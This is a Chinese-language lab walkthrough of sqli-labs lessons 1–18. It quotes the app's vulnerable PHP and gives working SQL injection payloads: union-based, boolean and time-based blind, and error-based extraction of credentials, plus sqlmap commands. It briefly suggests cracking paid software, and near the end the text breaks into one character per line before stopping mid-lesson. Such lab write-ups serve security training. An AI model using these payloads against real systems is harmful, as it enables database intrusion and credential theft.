##1.lesson1 GET-Error based-Single quote-String
因为是lesson1,我写的多一点
就是我个人看法,要想学习好sql注入必须学会一点php语言,我结合他的lesson-1 php源码来分析
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);//源码部分就是直接根据ID,直接提取出来username,
$row = mysql_fetch_array($result);//passsword,并显示
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
这里就存在一个问题,因为他是直接把语句进去查询,这存在注入漏洞。根据他的源码我们可以输入注入语句:http://127.0.0.1/Less-1/?id=-1%27union%20select%201,2,3%23
然后会显示
因为id=-1是在数据库中不存在的,前部分报错,然后union后就是sql语句中的and,后半部分select 1,2,3,这个其实在sql语句中就是返回1,2,3,这个是可以显示的,总体来看前部分错误,后半部分正确,所以直接显示2,3,然后选择2,3其中一个直接插入注入语句就可以了,database()为查询数据库名,version()为查询版本号,@@version_compile_os为操作系统信息,@@datadir为数据库路径,就不操作了。
##lesson 2
这里开始快一点,就是
// connectivity
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
我们与lesson1比较一下
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
就是lesson2直接把id放进去,那我们把lesson1的语句直接去掉符号“‘”就是可以。
##3.lesson3
直接上代码
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
对于这种,我们只需要在第一题中id=1‘的后面单引号加上)
##lesson4
直接上代码
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
//这里其实就是在id上加了双引号“”
所以直接将lesson-1的单引号换一下就可以,注入语句http://127.0.0.1/Less-4/?id=-1%22)union%20select%201,version(),3%23
就是换成双引号加括号 这样整体的语句就变成了
SELECT * FROM users WHERE id=(“id=-1”)union select 1,version(),3) LIMIT 0,1
##lesson 5
lesson5是个分界线,主要他开始涉及到盲注,直接上代码
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="3" color="#FFFF00">';
print_r(mysql_error());
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
这里可以看到它开始没有输出的地方了,这就导致我们要想获取信息必须用盲注的方式
这里一般要开始一步步试错,就是布尔盲注我的个人体验就是试错,根据反应情况进行判断
setp1:爆库长payload
?id=1' and if(length(database())=8,sleep(5),1)--+
step2:爆库名payload
?id=1' and if(left(database(),1)='s',sleep(5),1)--+
最终爆破得到left(database(),8)=‘security’
step3:爆表名payload
?id=1' and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--+
就这样一步步爆下去,知道获取到列里面你需要的信息,这里其实更推荐sqlmap,减少重复性工作,只需要知道原理就可以了
这里演示一下
##lesson 6
直接上代码
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
可以看出来, 双引号字符型注入,上一题的单引号改成双引号就可以了,同样是两种方法:时间延迟型的手工盲注、报错型的手工盲注或者sqlmap,再有利用concat()几聚合数。
##lesson7
不多说直接上代码:
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font color= "#FFFF00">';
echo 'You are in.... Use outfile......';
echo "<br>";
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
echo 'You have an error in your SQL syntax';
//print_r(mysql_error());
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
对于这种那对于此处注入没有输出、没有报错、信息回显,可以写入文件 别问我为什么知道 他上面谢了outfile 可是我们不知道他的绝对路径 从何写入
判断是否有写权限,可以判断有写权限
http://127.0.0.1/sql1/Less-7?id=1')) and (select count(*)from mysql.user)>0 --+ //如果返回正常则有读写权限
接下来判断位置,我选的lesson1:
http://127.0.0.1/sql1/Less-1/?id=-1%27%20union%20select%20null,@@datadir,@@basedir%20%23
然后进行相应的注入攻击:
这个我没有用普通的注入成功,后续在看看
##lesson8
就是单纯的盲注,很麻烦。
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="5" color="#FFFF00">';
//echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
可以看出来,不会有任何的提示,这个就只能一步步的猜,这种其实直接sqlnmp更好一点,反正我偷懒了。当然大家如果想慢慢试错下去也可以,反正我想法是懂得原理就行了。
##lesson 9
这个直接上代码:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
这里存在的问题就是它不会回显错误,发现 错不错都是返回的真确的结果。这就是我们所谓的被从定向了。
可以使用基于时间型SQL盲注。我们在这里使用IF(查询语句,1,sleep(5)),即如果我们的查询语句为真,那么直接返回结果;如果我们的查询语句为假,那么过5秒之后返回页面。所以我们就根据返回页面的时间长短来判断我们的查询语句是否执行正确,即我们的出发点就回到了之前的基于布尔的SQL盲注,也就是构造查询语句来判断结果是否为真。
当然我依旧偷懒了使用了sqlnmp。
人生苦短,我选sqlnmp。
##lesson 10
直接上代码
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
}
else { echo "Please input the ID as parameter with numeric value";}
就是问题就离谱在,发现 错不错都是返回的真确的结果,被从定向了。这里也和上一题一样,可以使用时间盲注的方法来解决。
然后我这里还是使用sqlnmp,下面是调用语句。
sqlmap -u http://127.0.0.1/Less-10/?id=1 --technique B --dbms mysql --current-user --batch --level 5
##lesson 11
直接上代码。
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname);
fwrite($fp,'Password:'.$passwd."\n");
fclose($fp);
// connectivity
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
//echo '<font color= "#0000ff">';
echo "<br>";
echo '<font color= "#FFFF00" font size = 4>';
//echo " You Have successfully logged in\n\n " ;
echo '<font size="3" color="#0000ff">';
echo "<br>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "<br>";
echo "</font>";
echo "<br>";
echo "<br>";
echo '<img src="../images/flag.jpg" />';
echo "</font>";
}
else
{
echo '<font color= "#0000ff" font size="3">';
//echo "Try again looser";
print_r(mysql_error());
echo "</br>";
echo "</br>";
echo "</br>";
echo '<img src="../images/slap.jpg" />';
echo "</font>";
}
}
这个好玩在现在是直接输入username和pwd进行登陆,不在是输入id,这样我们直接在输入框进行sql注入就可以了。
看懂这一层,直接就和lesson 1注入差不多,大家可以自己试一下:
爆库名,这里就是你前面没有,然后select null,database()
显示回来的null在login,database()在pwd位置。
' union select null,database()#
当然也可以直接使用sqlnmp来偷懒,还是可以做的,sqlnmp永远的神!
##lesson 12
直接上代码。
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
//echo '<font color= "#0000ff">';
echo "<br>";
echo '<font color= "#FFFF00" font size = 4>';
//echo " You Have successfully logged in " ;
echo '<font size="3" color="#0000ff">';
echo "<br>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "<br>";
echo "</font>";
echo "<br>";
echo "<br>";
echo '<img src="../images/flag.jpg" />';
echo "</font>";
}
else
{
echo '<font color= "#0000ff" font size="3">';
//echo "Try again looser";
print_r(mysql_error());
echo "</br>";
echo "</br>";
echo "</br>";
echo '<img src="../images/slap.jpg" />';
echo "</font>";
}
}
要想注入很简单啦,")再加上要注入的语句就可以啦。
注入语句如下:
") union select null,database()#
##lesson 13
直接上代码
@$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
可以看出来需要用’)来进行注入攻击。
直接上:
') union select null,database()#
##lesson 14
直接上代码
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
这里就可以发现其实sqli-labs后面的php逻辑和后面是有点像的
" union select count(*),concat_ws(',',(select username from users limit 0,1),(select password from users limit 0,1),floor(rand()*2)) as a from information_schema.tables group by a#
##lesson 15
// connectivity
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
这里源码是用and 所以你的username password均为真才会返回真确
注意一下他和以往代码的区别
这次我们可以玩点不同的,就是用抓包的方式来做,首先需要下载好burpsuite,如果你是kali那直接就有。
然后下一步进行抓包,把抓到的包保存问txt格式
然后在sqlmap 指定他 用 -r
然后进行sqlmap的调用
sqlmap -r /home/kali/lesson15.txt --leve=5 --risk=3 --dbs
所以sqlmap永远的神,哈哈!可以使用这个方法解决lesson11-20的难题。
##lesson 16
直接上代码:
// connectivity
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
可以看到基本上是基于(“”)这种的闭合形式
然后接下来直接注入:
先判断一下我们猜测对不对
") and if(ascii(substr((select database()) ,1,1))>116,1,sleep(5))#
接下来爆库名长度:
admin") and if(length((select database()))>8,1,sleep(5))#
那我们来尝试一下爆破 第一个表的第一个字母
admin") and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100,0,sleep(5))#
基本上如果手动的话,基本思路如下:
##lesson 17
/ connectivity
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
//echo $row;
if($row)
{
//echo '<font color= "#0000ff">';
$row1 = $row['username'];
//echo 'Your Login name:'. $row1;
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
mysql_query($update);
echo "<br>";
if (mysql_error())
{
echo '<font color= "#FFFF00" font size = 3 >';
print_r(mysql_error());
echo "</br></br>";
echo "</font>";
}
else
{
echo '<font color= "#FFFF00" font size = 3 >';
//echo " You password has been successfully updated " ;
echo "<br>";
echo "</font>";
}
echo '<img src="../images/flag1.jpg" />';
//echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font size="4.5" color="#FFFF00">';
//echo "Bug off you Silly Dumb hacker";
echo "</br>";
echo '<img src="../images/slap1.jpg" />';
echo "</font>";
}
}
lesson 17是用来修改密码的一个页面。然后同时需要注意一点,就是这里加入了一个函数检验:
//making sure uname is not injectable
$uname=check_input($_POST['uname']);
$passwd=$_POST['passwd'];
`//底下是相应的函数构成`
function check_input($value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,15);
}
// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}
// Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}
else
{
$value = intval($value);
}
return $value;
}
但是这里存在问题, 那这里对useamane参数进行了 check 但是未对 passwrod进行检查 因此我们可以从password下手
这里推荐大家安装一下一个小插件Max HackBar,其实之前很多人用的是hackbar,但是后来这玩意收钱,我们作为中国人,必须白嫖,当然大家可以网上尝试破解安装也可以的。
建议这里大家可以看一下sql的updatexml函数。
uname=admin&passwd=1' and (updatexml(1,concat(0x5c,version(),0x5c),1))#submit=submit
##lesson 18
这关开始是消息头注入,常见的HTTP注入点产生位置为【Referer】、【X-Forwarded-For】、【Cookie】、【X-Real-IP】、【Accept-Language】、【Authorization】;
(1)HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从哪个页面链接过来的,服务器基此可以获得一些信息用于处理。
(2)X-Forwarded-For:简称XFF头,它代表客户端,用于记录代理信息的,每经过一级代理(匿名代理除外),代理服务器都会把这次请求的来源IP追加在X-Forwarded-For中
(3)Cookie,有时也用其复数形式 Cookies,指某些网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据(通常经过加密)
(4)X-Real-IP一般只记录真实发出请求的客户端IP,
先看看页面长什么样,看看和之前的也没什么变化,只是这里多了个一个your ip address is
然后看源码里面$uname = check_input($_POST['uname']); $passwd = check_input($_POST['passwd']);
这句意味从用户输入的数据不可信的角度来讲 我们该 从哪里下手呐
同时源码里面有
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
我们看到了
i
n
s
e
r
t
=
"
I
N
S
E
R
T
I
N
T
O
‘
s
e
c
u
r
i
t
y
‘
.
‘
u
a
g
e
n
t
s
‘
(
‘
u
a
g
e
n
t
‘
,
‘
i
p
a
d
d
r
e
s
s
‘
,
‘
u
s
e
r
n
a
m
e
‘
)
V
A
L
U
E
S
(
‘
insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES (‘
insert="INSERTINTO‘security‘.‘uagents‘(‘uagent‘,‘ipaddress‘,‘username‘)VALUES(‘uagent‘, ‘$IP‘, $uname)";将useragent和ip插入到数据库中,那么我们是不是可以用这个来进行注入呢?首先这里要输入正确的账号和密码才能绕过账号密码判断,才能进入处理uagent部分